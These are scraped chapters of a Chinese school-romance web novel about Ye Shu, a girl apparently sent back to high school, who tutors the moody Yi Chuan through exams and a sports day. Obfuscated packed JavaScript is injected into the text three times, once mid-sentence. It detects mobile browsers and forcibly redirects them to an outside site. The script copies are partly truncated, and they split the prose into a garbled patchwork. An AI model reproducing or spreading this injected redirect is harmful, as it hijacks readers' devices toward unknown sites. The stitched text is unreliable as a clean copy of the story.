;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13498854|141763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 易川：“？” 他抬起头，对上叶舒的眼睛。 她目光里并没有任何怜悯和询问的意思，好像只是把这件事当作举手之劳的小事。 易川皱了皱眉，别过脸，“不用，大不了不写了。” 意料之中。 叶舒一改平常的态度，热情道：“我帮你编，我可会编检讨了，很快搞定。” 说着，叶舒便抢过他的练习本。 “我看看——‘我上周不应该与王朗讲小话’。你就接着写，‘犹记得，上周二的语文课，我因为一时鬼迷心窍和注意力不集中，然后被王朗吸引了注意力，与他讲话’……” 易川被叶舒这副热情的模样弄得愣怔，颇为震惊地看着她。 随即，叶舒拿起笔，模仿着易川的字迹就开始写。 “先道歉哪几件事犯了错，然后把犯的错的事娓娓道来，哪一天、干了什么、为什么、什么注意力不集中等等，总之写得自己浑身是错、十分后悔。然后说对不起老师，不尊重老师；对不起同学，影响了同学；对不起班主任辛勤工作；对不起父母的关心操劳；对不起自己十几年的努力等……最后发誓不会再犯。” 她讲得天花乱坠，说得易川是一愣一愣的。 易川好不容易反应过来，抢过了练习本。 迎着叶舒不解的眼神，易川垂下眼睑，语气微沉：“我自己来。” 最后，在叶舒的监督下，在距离晚自习开始前还有10分钟时，易川写完了检讨。 …… 王朗看着他俩合作完的检讨咂舌：“叶舒，你这么会写检讨啊，要不我以后检讨你都帮我出主意呗。” 得来的自然是叶舒的白眼。 易川和王朗去班主任办公室了，叶舒趁着没人，眺望窗外，天空已暗下，街道路灯皆明亮，不远处的马路偶尔有汽车呼啸而过。 其实高中那次，易川并没有完成检讨，被何老师遣散回家了。 那时，叶舒望着他离开，心里还如同被割裂了一块，空落落的。 现在想来那时未免太过幼稚。 还好，这次她终于不难受了。 - 王朗追着易川一起去办公室交检讨，两人交完后才如释重负地从办公室里出来。 “欸，”王朗手肘碰了碰易川手臂，“你说叶舒是不是喜欢你啊？” 易川瞳孔微颤，脚步一顿，皱着眉睨了一眼王朗。 王朗细细数着：“帮你写检讨还不够意思啊？而且最近还老给你讲题，对你态度也没以前那么差——” 易川眼神渐冷，颇为不耐烦地撇了撇嘴。 易川：“你要是很闲的话，找个人去喜欢吧。” 王朗：“......” 王朗被噎了一下，随即又催促他道：“别扯开话题，问你有没有感觉到啊？” 易川：“......” “你想多了，我觉得没有。” 易川果断说完，便先一步回了教室。 王朗听出他话语里莫名的肯定，八卦之心冉冉升起，冲着他背影喊：“喂，真的吗？别走啊！” 16. 秋雨 晚自习前。 喧闹的教室里，叶舒安静地呆在座位上写作业。 一阵脚步声靠近，她抬头，易川正向她走近，距离拉近，脚步趋缓，他额前些许碎发还有些濡湿，走近时还能闻到浓郁的沐浴露的香味。 少年乌发如墨浓郁，眉骨突出，双眸狭长，英挺的鼻梁下薄唇淡红。 先前总带着怨气，都忘了她当初喜欢易川正是钟情上了他这张脸。 易川确实是长得好看的，只是眉眼间总带着目中无人的冷意，让人望而生畏。 大概是如今怨意消了些许，叶舒看着这易川也眉清目秀了起来。 现下，易川神色微怔，视线落在了叶舒对面的人——江菱。 叶舒见状，连忙扬起笑容，起身邀他进座位。 期中考试临近，班主任又布置了许多任务，还搞了绩效考核模式，成绩好的同学带成绩差的同学、科代表帮助、问问题绩效等。 叶舒好说歹说才让易川愿意早到教室陪她解决老师布置的任务，自然得做戏做全套，把他哄着。 易川视线落在了江菱身上，随后又抬眼扫向叶舒，目光不善。 叶舒莫名背脊发凉。 好在易川最后还是坐下来听她与江菱讨论问题了。 不过，他侧着脸，一脸阴沉，目光也未曾落在作业上，一看便没在听。 即使是江菱同他讲解，他也一脸不耐烦，把两个女生弄得一头雾水、胆战心惊的。 直到晚自习铃声响起，江菱离开后，叶舒才低头凑近，压低声音问他：“你怎么了？” 见叶舒突然靠近，易川退了退身子，避开她通透明亮的目光。 易川似是情绪不佳，语气不悦道：“没什么。” 叶舒看着易川欲言又止的样子，更加确定了他心情不好的事实，但她猜不到他现在在想什么。 莫不是嫌她烦了？毕竟她最近老是督促他学习，算算日子，这时候确实也会是懈怠期了。 想到这，叶舒立刻说：“累了？那那个任务就先不做了。” 易川：“不用了，你不是还有KPI吗？” 易川说的是班主任布置的任务。 只是他语气散漫，莫名有种阴阳怪气之感。 叶舒：“那不重要，想什么时候就什么时候，本来就是要劳逸结合。” “没事，就明天吧。”易川语气淡然。 “不过……”须臾，易川继续说。 “嗯？”叶舒歪头等他下文。 易川嘴张了张，思索了片刻最后还是合上，“没事。” 叶舒见他这样又是一副心事重重的模样，怕是自己将他逼得太紧，便不打算再打扰他，着手干自己的事。 - 次日。 昨天还一碧如洗的天空，今早却暗沉无光。 过了10点，云层越压越低，天阴阴的，平白看得人压抑，仿佛下一刻雨便会倾泻而至。 约摸着是秋雨将至。 说起来，叶舒穿越前似乎也有这样一场雨。 叶舒望向阴沉的窗外，在心里盘算着今天中午直接回宿舍，便不去食堂吃饭了。 课间。 易川从走廊的另一头朝教室走去。 他步伐略急，还撞到了同学——杨乐铉。 杨乐铉锤了锤他手臂，刚想与他寒暄，易川便远远地指了指教室的方向，说：“有事。” “啥事啊，那么急？”杨乐铉对着他背影喊道。 易川早已走远，只留了个后手对他摆了摆。 “不刚下课吗，有啥事那么急？”杨乐铉疑惑喃喃道。 ...... 易川穿过课间来往的学生们，走近自己的座位，又看见了熟悉了两位身影——叶舒，和江菱。 他眸光暗了暗，下意识蹙起眉头。 易川不动声色地回了位置，听叶舒给他和江菱讲题。 他抱臂看着桌面，目光虚焦。 叶舒注意到了易川走神，她点了点桌面提醒他：“你在听没？” 易川看也没看她一眼，漫不经心地回：“在听。” “我在说哪题？” “……”易川沉声片刻，才侧过脸看了看作业，随便说了个数，“第十。” 叶舒一脸黑线：“都没讲到那题，在第九题。” 易川哦了一声，没再说话。 叶舒若还看不出来易川有问题那真是眼瞎了。 易川心情不快从昨晚持续到了今日也该结束了吧。 念着江菱在这，叶舒还是没直接戳穿易川，硬着头皮讲完了题。 …… 午后，雨终于倾泻而下，树叶被打得噼啪作响，紧闭的窗不多时水汽氤氲，平日闷热的教室倒有了一丝凉意。 上着课，易川又走神了，望着雨水打窗的景色看了半天，叶舒本想提醒他，想到近日他的状态便作罢。 由他去吧，这个年纪的孩子总不能一直逼着。 待到课后，叶舒才想起班主任布置的任务的事。易川不在座位上，他出了教室。 秉承不放过任何一个能让知识被动进易川脑子的机会，叶舒走出教室，寻找那个身影。 栏杆外，雨水还在不停往楼里下，楼道里的学生来来往往，地上水渍也积成不同脚印，凌乱无序。 叶舒左顾右盼找寻着易川。 远远地，熟悉的挺拔身影和几个男生正勾肩搭背朝着班级的方向过来。 易川也远远地瞥见她，然而，瞧见她的一瞬间他便敛了笑容，随即默默地移开了视线。 叶舒僵在原地。 这个眼神她太熟悉了，曾经的易川拒绝她后，每每偶遇她时便是这样避开她的视线的。 又起了阵风，微风拂过，连带着细雨落在叶舒的脸上和身上，陡升起一股凉意，她不禁瑟缩了一阵。 难不成真是他最近嫌她烦了？ 这可不行，她要赶快把这个苗头扼杀掉！ “易川。” 易川走近后，叶舒叫住他。 易川顿了顿脚步，面色还是十分冷淡，踯躅着靠近她，语气不快地问：“有事？” 易川自顾自地走到教室门口的书柜前，打开了自己柜子翻找着什么，叶舒便默默跟在他身边。 “我这周任务还没弄呢，你找个时间给我讲题吧。” 叶舒尽量让自己看着随和自然些，祈求这大爷心情好一点能接她的信号。 易川个子高，叶舒仰着头看他，语气又颇为祈求，倒显得异常卑微。 易川眉毛拧了拧，低头扫了她一眼。 他侧身靠在书柜旁，似笑非笑地看着她，开口语气很是自嘲：“你看我会讲题吗？再说了，你是学霸也不需要我讲吧？” 他说的确实是事实，但叶舒当然不能就此算了。 叶舒背着手攥紧自己的衣角，深吸了一口气，谄媚地堆了个假情假意的笑脸：“你随便给我安排个任务也行，有就行了。” 易川摆了摆手，“不用，你就当我已经给你完成了。” “可是我们之前不是说好了，任务互相完成吗？”叶舒语气难得的服软，开始打起可怜牌。 虽然她知道，这种计谋可能只有温柔美女用才适用，但现下她好像只能再一次祈求易川能起一丝恻隐之心了。 叶舒紧闭双眼，等着易川的毒舌，然而，等了许久，对方都没再说话。 她抬起头，易川正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13528977|141763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 居高临下地看着她，眉眼间难得的没有嫌弃，只是一副欲言又止的模样。 看来是有希望！ 叶舒趁热打铁，连忙道：“或者，你要是不知道布置什么，就老样子，还是我给你讲题？” “不用。” 易川这下拒绝得果断，砰地一声关了柜门，转身便要走。 叶舒追在他身后。 其实她真的很想直接一拳锤在柜门上，然后怒斥着问易川到底怎么了。 但为顾全大局，叶舒还是只能保持假意温和的微笑，说：“怎么了？你要是累了，那过几天再说也没事。” 易川走了几步突然停住脚步，叶舒没刹住脚步猛然撞上了他的背。 她扶着额，有些尴尬：“抱歉。” “下次讲题还有江菱吗？” 易川突然这样问她。 叶舒愣愣地抬头，他正目光幽深地望着她，两人距离之近，她能望见他眼眸中倒影着一个朦胧的白色身影。 “要是还有江菱就别叫我了？” 叶舒下意识不解地问：“为什么？” 易川俯身靠近她，眼里闪过一丝寒光：“你说要给我讲题，但每次都拉个别人是什么意思？” 叶舒懵了。 她属实没想到平常对什么都满不在乎的人竟会在意这种事。 她耐下性子来解释：“江菱也找我问问题，所以我就一起讲，不是很正常吗？我以为你不觉得有什么。” 班里大多数人讲题都是这样，不然若是一个个讲，她得讲几十遍。 叶舒犹豫着问出了口：“你......喜欢1v1教学啊？” 听到她这话，易川颇为嫌弃地白了一眼，“我不太懂，说好是我们讲题，但你不止一次拉了别人过来讲——” “对不起。” 没等易川说完，叶舒便打断了他，浅浅鞠了一躬道歉道。 大概是没想到她道歉那么及时，易川愣住了。 “你……” 刚刚还咄咄逼人的他变得怔然。 叶舒抬起头，一脸诚恳道：“对不起，我不知道你觉得不舒服，下次不会了。” 易川没吭声。 叶舒继续说：“我下次真不会了，那这周的题还要讲吗，还是……？” 她没说下去，全权由他定夺。 易川看着她。 叶舒的位置靠近栏杆，雨水被风吹进来，洋洋洒洒。她的刘海也被吹得乱飞，细碎的水滴落在她头顶和额前，她理了理乱发正等着他的下文。 风夹杂的雨水微凉。 叶舒盯着易川，注意着他的神情，生怕他不肯接受她的道歉。 须臾。 眼前的人抬起了手。 易川将手抬起至她的侧边，为她挡下风拂过来的些许细雨。 叶舒微怔。 易川目光偏移，神情寡淡，语气听不出情绪，不过没了刚刚的怒意。 “照常讲吧，别人要是来问你，你分开讲就好了。” 风雨声大，易川的声音还越来越小，叶舒听不清，“你说什么？” “回教室吧，外面雨大。” 话音未落，易川就头也不回地进了教室。 叶舒这才松了口气。 只要她道歉道得及时，易川的怒气就追不上她。 这时，系统跑了出来，调侃着说道：【他，不会喜欢你了吧？】 叶舒：【呃，别说恐怖的话。】 易川的性情本就难以捉摸，她揣测不来。 只是可以肯定的是，他这时候不喜欢江菱，经过这么一出，原来的计划肯定无法实施下去了。 未免招他嫌，看来还是得靠她自己慢慢来。 17. 触碰 自争吵之后，叶舒便不敢再暗戳戳拉别人“一起学习”，反而对易川亲力亲为。 既然易川要她独自教，她就独自教。 反正他是攻略对象，只能供着他。 易川也逐渐变得配合，虽然偶尔还是会懈怠与她作对，但比原来散漫的他好了许多。 期中考的时间愈渐逼近，也不知道她的努力能否有所成效…… - 大课间。 班长公布了下周期中考的安排——前三天期中考，后两天运动会。 班长在讲台上细说注意事项，各组还纷发了一本杂志。 打开一看，是各式的班服——要订班服了。 叶舒随意翻了翻，然后推给易川。 “你不看吗？”他问。 叶舒没兴趣，而且她有上帝视角，自然知道会订哪款。 “你先看。” 她假装谦让。 易川对这些活动一向漠然无视，但见叶舒一直推脱，最终还是翻看起来。 易川没把书拿得离她太远，杂志大部分在叶舒的桌面范围。 他的身子靠近着她，漫不经心地翻着杂志，以他的姿势看杂志，感觉不是很方便。 倒像是给她看的。 叶舒默默撇嘴：有这么嫌弃吗。 教室内，同学们都在激烈地讨论，而两个人就这么默默地安静地看着，身边一时间只有杂志翻动的声音。 在同学们激烈的讨论中，最终选出了两款做最后的角逐。 易川正随意地将杂志翻来翻去时，叶舒开口询问他：“你想选哪个？” 易川没回答，反而反问她：“你选哪个？” “都不想选。”叶舒回得很快。 他扬了扬眉，“都不喜欢？” 因为没意义。叶舒心里回了句。 她垂眸，故作深思熟虑了一番说道：“嗯，都一般般。” 易川沉吟了片刻：“可惜，众口难调，只能少数服从多数。” 叶舒挑了挑眉，不禁揣摩起他的语气。 他这话是什么意思？ 宽慰她？ 叶舒一时接不住话，但少见聊天的机会她不想放弃，继而问他：“你想选哪个？” 易川眯了眯眼，姿态散漫地点了点右边的——最终会被选择的那款。 叶舒故作恍然地点了点头，她补充道：“不过这个实物不怎么好看，材质也很差。” 出于对这个班服的嫌弃，她还是忍不住出言劝告。 不过就算易川听了，也改不了最终的结果。 “你怎么知道？”他眼尾扫了眼她，明显不信她的话。 因为她穿过。 当然，叶舒不会如实禀告，只是打马虎眼：“猜的。” 易川狐疑地斜了她一眼。 叶舒不想多解释，便又补充一句，“我感觉而已。” 恰好此时，班长让全班人举手做最终的决定。 正是刚刚易川选择的那款衣服的投票时间，班上大部分人的手齐刷刷地升起来。 然而，易川却没举起手。 “你怎么不举手？”叶舒问他。 她记得，原世界的易川选择了这款。 不过以易川阴晴不定的性格，他这次就是不想参与也是有可能。 易川摇晃着手中的笔，花哨地将笔转了一圈，语气懒懒道：“你不是说材质差吗？” “？” 叶舒没想竟是这个原因，一时呆怔住。 “你......这么信我？” “对，”易川嘴角扬起一个弧度，随即转过脸看着她戏谑道，“你可别让我失望啊。” ...... 不过，寡不敌众，最终结果还是那款服饰被选。 比起这个插曲，叶舒更关心下周的期中考。 - 周日晚上。 期中考前一天。 明月高挂，今夜的晚修格外安静，每位学生都埋头干自己的事情，书翻动的频率也在今夜格外的高。 叶舒眉头紧锁着，沉浸在复习中。 手臂处传来一阵触感，她回头，易川正看着她，像是有话要说。 叶舒：“怎么了？” 易川视线下移，看着她的手臂说，“你这，怎么了？” 叶舒顺着他的目光看去，自己的手肘后方有一块淤青。 她穿得是夏季校服，淤青外露，在白皙的手臂上格外显眼，只是在手肘处，她都未曾发觉。 叶舒微微一愣。 她其实也不确定是什么时候弄上的，不过仅是一瞬间，叶舒便猜到，大概是昨晚挡在母亲面前拦着父亲时，不小心磕碰至墙壁上了。 易川还在等她的回答，叶舒在心里盘算了一个答案，大方开口：“我也不知道，大概是哪里磕到了。” 易川微微点了点头，不再追究这个话题。 紧接着，耳边传来一道压着嗓音的声音。 “小心点。” 易川这么说。 闻言，叶舒不禁一愣。 易川：“怪吓人的。” 叶舒：“......” 果然，就不该对他有什么期待。 待叶舒刚投入复习中，易川那低沉的声音又在她耳边响起：“你在几班考试？” 叶舒投入复习中，头也没动，回了个6班。 接着，她胳膊又被人碰了碰。 叶舒不耐烦地侧头瞥了一眼易川。 易川动作顿了顿，瞄了眼她的桌面，猜到了大概，“你先忙。” 他大概是有事找她，斟酌了片刻又不打算打扰她。 叶舒叹了口气：“怎么了？” 易川推了本物理习题册过来，指着一道计算题问叶舒：“这题怎么做的？” 易川从未主动问她过，这算是第一次，叶舒自然要给面子。 她扫了一眼题目，只觉得分外眼熟。 叶舒深吸了一口气，压着气道：“......这道题我上次给你讲过。” 易川愣了愣，随后故作泰然地噢了一声。 但她已然看出了他的心虚。 叶舒不由得开始怀疑，她之前讲过的题他可能都忘得一干二净了。 若是真的，她岂不直接白干半个月。 “易、川。” 叶舒一字一顿地喊他的名字。 “我以前讲的你不会都不记得了吧？” “没有。” “真的？” “......” 在叶舒狐疑的目光下，易川没吭声了，面上却始终是那副轻慢的姿态。 叶舒强迫自己冷静下来后，才转过身，郑重其事地说：“不管你之前的记没记住，以后我讲的你最好都记住了，不然我都白讲了。” 闻言，易川皱了皱眉。 见状，叶舒寒声再道：“听到没有？” “......听到了。” 他回。 - 次日。 几场秋雨过后，天气正式转凉了，今日云影薄浅，阳光也明媚了不少。 气温骤降，凉风阵阵，叶舒穿了件外套，拿着复习资料靠在栏杆上往下望，楼层不高，她恰好能平视绿植，一株株绿植随风婆娑，飒飒作响。 “叶舒。” 耳边传来同学的呼唤，叶舒看向声音来源，是陆雯。 叶舒微微一笑，向她招手，然后看着她走过来。 陆雯走近后，言语掩饰不住的开心：“没想到我们考场就在隔壁！——你在这复习，怎么不进去？” “没复习，”叶舒实话实说，“里面太多陌生人，不想呆在里面。” 陆雯了然，笑了笑：“我也是。希望今天物理别考太难，吸吸你这个学霸的智慧。” ...... 二人闲聊之际，叶舒似乎看见远处楼梯口下来两道熟悉的身影。 易川和王朗。 易川似乎往她这方向望了望，随即下楼了，也不知道是看到她还是没看到她，但视线确实是落在她这块。 叶舒望得出神了，陆雯不禁开口问她：“咋了？” “噢，没事。” 另一边。 “你看到陆雯了吗？”王朗问旁边的人，但没得到他的反应便又问了遍，“易川？” 易川回过神，扭头看了他一眼，懒洋洋地回了句：“没看见。” 王朗后悔莫及地叹了口气，自言自语道：“早知道当时问问她在哪考试了。” 身旁的易川没理会他，兀自仰头，望着楼上栏杆处那个纤细的身影。 - 期中考结束的那天，班服也正好到了。 叶舒看 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王朗带了相机，充当班级摄影师，正在给陆雯拍照。 叶舒就坐在他们面前，看着王朗在陆雯面前故作高傲。 其实陆雯不求王朗，王朗也很愿意给她拍——因为他喜欢她。 看着两人，叶舒嘴唇止不住上翘。 原来带上帝视角看人那么有趣。 “你换了新眼镜框？”王朗打量陆雯的新眼镜，手上已经在调试相机。 “对啊，”陆雯摘下新眼镜，“还可以吧，之前的大黑框看起来有点像书呆子。” “是有点。”王朗打趣道。 陆雯注意到一旁安静的叶舒，突然灵光一现，“诶，叶舒，我都没见过你戴眼镜的样子！” 叶舒愣愣地抬头，没反应过来怎么话题转她身上了。 叶舒回答：“我不近视，没戴过眼镜。” “真好啊，都不近视。那你戴下我的试试，我想看看你戴眼镜的样子。”陆雯将眼镜递给她，一脸期待地看着她。 叶舒拿过眼镜，在手上观赏了一下。 这眼镜框比陆雯原本的那副细。 陆雯是典型南方女孩的长相，五官柔和，戴这种细边眼镜会放大她五官的优势。 叶舒自知长相略带攻击性，大抵应该不适合这种。 但她拗不过陆雯，还是尝试着戴上。 戴上眼镜的那刻，她便感觉世界开始模糊旋转。 陆雯是近视多少度！ 她本能性地地向自己的身侧伸出手。 慌乱之余，耳边响起陆雯和王朗的说话声和一阵响动。 模糊的视野里，似乎有另一道蓝色的身影靠近。 还未看清来人长相，鼻间先闻到一股熟悉的淡淡的清香。 叶舒刚想拿下眼镜，只见一道蓝色的身影靠近她，随即将她额前的碎发撩过，划过一点轻柔的触感。 她脑海愈渐清明，已经猜到面前的人是谁。 ...... 陆雯僵在原地，愣愣地看着易川，然后又看向王朗，王朗也和她一样怔在原地不敢动弹。 两人眼前，易川正侧着头看向坐着的叶舒，笑容玩味：“你怎么突然戴起了眼镜？” 他语气轻佻，陆雯甚至在怀疑眼前人是否是她印象中的死鱼脸易川。 叶舒缓缓拿下眼镜，闭着眼揉了揉山根，然后对他说：“我刚刚头发上有东西？” 她语气淡然，好像对于易川的出现并不惊讶，对于他刚刚的举动也并不在意。 “……”易川眼神移向别处，犹豫了一会儿，不咸不淡着说，“现在没了。” 王朗挑眉，一脸狐疑地看着易川。 叶舒并不知晓，兀自摸了摸刘海，浅笑了笑向他回了个谢谢。 易川见了她这笑容，还不知趣，像是故意找叶舒不痛快般：“你戴眼镜还不如不戴。” “......” “你管我。”叶舒不冷不热地回了句，随后把眼镜还给陆雯。 两人神态自若，倒显得陆雯和王朗煞有介事了。 陆雯：没人觉得刚刚的气氛很奇怪吗！ 18. 收效甚微 运动会结束后，班级集合拍完集体照才回教室。 叶舒和陆雯并肩而行。 走了一路，最后陆雯实在没忍住八卦的心，开口问叶舒：“易川是不是喜欢你？” 叶舒转头看着她，有些错愕：“为什么这样问？” “今天他摸你头发啊，还有刚刚拍集体照——”陆雯凑近叶舒，压低声音对她说，“他本来不站你后面，结果不知道什么时候出现在你身后了。” “噢，是吗？”叶舒扯了扯嘴角。 感觉怪阴森的。 陆雯看叶舒反应就知道她抓错了重点，连忙说：“这不是重点！他这不是喜欢你是什么，你自己没感觉吗？” 叶舒认真地思考了一番，随即给出答案：“没感觉。” 陆雯恨铁不成钢：“当局者迷啊！” 见陆雯一副无奈表情，叶舒不禁失笑，拍了拍她，无所谓道：“易川他这人……很难形容，别看他一副高深莫测的样子，脑子其实是直线条。他大概没往那方面想，你别想太多。” “是吗？”陆雯不了解易川，回想起平日里的易川目空无人，阴沉无言，嘴巴不饶人......似乎真想不到他若是喜欢人会是什么样。 回到教室，叶舒收拾起自己的东西。 窗户没关，一阵风拂过，将淡绿色的窗帘吹起，帘布扬起在风中来回荡漾着，掠过桌角。 叶舒看着眼前的场景出神，久了，眨了眨眼，眼前蓦地重现了过往的场景。 那天的阳光透过窗帘留下斑驳的树影，微风吹过帘子微动，也是这般光景。 ...... 当时是初秋时节，只是天气还略有些炎热。 那日，叶舒拿了陆雯的平光眼镜在把玩，因着新鲜戴了一天，易川也像今天这般说她“不如不戴”。 叶舒自知在易川这不会有什么好评价，便打算不再理他，然而，再抬眼之际，易川却定定地看着她，若有所思。 年少时的她，情窦未开，遇见这场面，不免心跳漏了一拍，也借由这个机会，盯着他的脸看了好半晌。 意识到自己行为不妥后，她便打算收回眼。 下个瞬间，面前的男生却向她伸出了手。 透着平光镜片，叶舒看着易川那双骨节分明的手，靠近了自己的刘海。 动作很轻，她甚至不知道他触碰的是哪一处。 很快，他便收回了手，打量了她一番，才收回目光，这一切动作下来他都面色如常。 只留她一人心跳怦然。 - 回到家，叶舒刚点开手机就噔噔收到王朗发给她的一堆信息。 点开一看，都是运动会有她身影的照片。 大部分是和同学们的合照，还有王朗抓拍的她的丑照。 叶舒一张张翻过，突然出现了一张她的单人镜头，她扭头看着镜头，表情有些错愕。 叶舒忆起，这是王朗当时故意喊她名字引她转身的抓拍。 而这张照片里有一半的部分被一个指节修长的剪刀手占据。 叶舒给王朗发信息：【你这剪刀手怎么还占了那么大位置。】 那头很快回了信息。 王朗：【这不是我的，这是易川的。】 叶舒看着这则信息，打字的手停滞在半空中。 犹豫着，她按下了保存键。 - 期中考后，日子也没前段时间那么紧绷了。 然而，这安逸的日子没过多久，期中考的成绩便出来了。 周一班会，班主任何肃文拿着几张表格进了教室。 不出意外，是要公布成绩了。 果不其然，他先总结了一下全班的总体成绩后，便开始总结班里的个人成绩。 “我现在念一下全班总分前15名。” 教室内变得格外静谧，等待着何老师的宣判。 “第一，林康。” 教室里一片哗然。 这是大家上高中以来第一次直面成绩公布，在此之前大家都不知道和自己朝夕相处的同学是什么成绩水平。 平日里，高子昂经常给大家讲题，思路清晰，天赋极高，大家都以为他会是第一。 而林康为人低调，没见过他对学习有很高的兴趣，还经常和大家嬉笑打闹，谁能想到他这么深藏不露。 所有人都没想到第一名是林康。 除了叶舒。 叶舒瞥了眼林康的位置，林康正故作惊讶地看着老师和周围的同学们。 “......”怪做作的。 何老师照着表格一路念下去，第二名是高子昂。 ...... “第六名，叶舒。” 听到自己名字，叶舒抬眼。 周围与她熟识的同学皆惊叹地看向她。 没想到叶舒平日不显山不露水的，成绩也那么好。 林康看向教室那边的身影，冷冷一笑。 果然如他所料，叶舒虽然是第六名，但不足为惧。 感受到一道视线，林康抬眼找寻那道视线来源，便与叶舒那双眼睛短暂对视。 那双略带攻击性的狐狸眼，即使是无心一瞥，也带着冷漠。 可能是因为刚刚心里在贬低她，林康没来由得有些心虚。 叶舒脸上带着浅浅的笑意，她周围的人皆一脸赞许地看着她。 反观他刚才，明明他是第一，但大家第一反应却是震惊和不解，甚至还有许多人一脸疑惑地看向高子昂。 想到这林康不免嘲讽地勾了勾唇。 “叶舒进步很大啊，值得表扬。”班主任不吝夸赞。 何肃文赞许地看向叶舒，随后注意到她身边的易川——这次的倒数第一。 易川脸上没有一丝紧张，似是根本不关心成绩好坏，他正姿态闲散地鼓着掌，略带微笑地看着他身旁的叶舒。 想到易川这孩子，何肃文就头疼起来。 要是让叶舒多带动一下他就好了。他在心里盘算着。 …… 班会过后，老何又改立了新规矩：帮扶制度——各科前十五名带后十五名。 叶舒记得，这个制度下，后几名的人若不积极的，成绩好的还要花时间去提醒成绩差的。 说白了就是学霸舍己为人的制度。 不过对叶舒来说倒是好事，她就可以名正言顺地缠着易川学习了。 另一边。 林康听着这道规矩，暗自鄙夷。 他平常打造的是和大家玩成一片的不学习人设，现在还要光明正大地带倒数几名的人。 不仅浪费他时间，还免费做善事，他可不愿。 但这是班主任的命令，他没法不从，只好走一步看一步。 - 晚自习。 晚修上到一半，何老师将每科的前十五名聚集到教室外谈话，开始分配每位学生各自带的同学。 何老师拿出各科排名表，林康抢先拿过表格看，所有人便只能围着他看。 人群围了几圈，叶舒嫌拥挤，便没凑过去，兀自靠在走廊栏杆上。 林康看着表格里的名字，表面看着淡然，内心却一团乱麻。 他基本科科都在前十五名，那他岂不是科科都要给人讲题。 林康顺着表格看下去，基本上每科的吊车尾都是易川。 易川，那个整天一副臭脸的有钱子弟。 林康心里有些排斥，然而，他转念一想，易川并不爱学习，所以应该不会找上他。 既如此，到时候易川不找他，那就是易川的问题，而不是他没有完成任务。 倒是个好人选。 念及此，林康立即下手为强，“要不，我选易川吧？” 他环视一周，看了看周围的同学的眼色。 易川整日冷脸，性格孤僻，班上也没几个熟识的人，风评很一般。所以，林康自告奋勇拿掉这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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易川正面无表情地看着成绩单，没有任何反应，看了一会儿后他便抬起头。 陆雯见状立刻收回眼。 虽然见他与叶舒说话还算和气，但他这周身的低气压还是让人胆颤。 直觉告诉陆雯，不要和这人有任何瓜葛，叶舒最好也不要和他走太近。 陆雯正想着这些事，另一头的何老师便喊着易川的名字：“易川，除了物理是林康带你，其余科目都是叶舒带你。” 听到这，易川微微一愣，随后才微微颔首，表示知晓。 陆雯偷偷朝他那瞟了一眼。 秋日的夜风微凉，易川正透过教室的窗口朝里面望。 陆雯回头，顺着他的视线，一眼便能看到在白炽灯下埋头写作业的叶舒。 陆雯侧头注意易川的动静，他正望着教室出神，随后嘴角弯起一个很小的弧度。 陆雯有些错愕地看着眼前的一切。 - 晚自习课间。 成绩表出了，贴在教室后的板报上。 一堆人围在成绩表周围找寻自己的成绩。 叶舒挤进去，将表格大致扫了一遍。 易川几乎科科都是倒一，最好的也才倒七。 系统嫌弃的话语在她耳边盘旋：【看来你的效果甚微。】 叶舒：【……知道了。】 叶舒不死心地又细看了一遍，随后发现易川虽然都是倒数，但与排名相邻同学的分数相差不多。 语数英也比她原世界的他高了十几二十分。 印象里，原来的易川成绩比正常同学少一大截，是个彻头彻尾的吊车尾。 看到这，叶舒安慰自己，也算是有进步，看来她的努力是有点成效的。 19. 没送出去的创口贴 天蓝云白，微风舒适，日光明晃晃挂在天空中，但也不觉炎热。 体育课。 体育老师下达指令，本次体测先进行测量身高体重，再进行八百米测试。 想到八百米测试，叶舒便心事重重，要不是陆雯和江菱拉着，她大概连队伍到自己了都不知道。 体育馆另一边忽然传来一阵哗然，众人纷纷望去。 一堆男生围着机器惊呼着。 江菱挑眉，嫌弃地嘟囔了句：“男生真是什么事都能大呼小叫起来。” 陆雯表示认同：“就是，测个身高也不知道在欢呼什么，欢呼自己说不出口的身高吗？” 叶舒被陆雯毒舌的话逗笑，也朝那处看去。 穿过一众男生的身影，那机器上显示着红色的187.3。 还没等叶舒缓过神来，陆雯便不敢相信地说：“谁一米八七，谁造假了？！” 叶舒望去，机器边出来一人。 易川。 他正在绑鞋带，看来就是他了。 陆雯嘁了一声：“易川啊，那不奇怪了，班上也就他有那么高，只是没想到他竟有这么高。” 一旁的王朗在他耳边起劲地打趣着他，还锤了他一拳，“哇哦，还以为你有一米九呢。” 易川皱了皱眉，似乎是对突然的“众星捧月”不习惯。 不过，似乎除了没心眼的王朗，并没有人敢招惹他，即使是客气称赞的话语也不敢随便对他说。 易川绑完鞋带，站起身，便捕捉到了叶舒探寻的目光。 叶舒见状，心跳漏了一拍，立马转过头，装作无事发生，不敢再看他。 为掩饰举动，叶舒立刻脱了鞋，站上机器。 数字还未显示完全，身侧便出现一道身影。 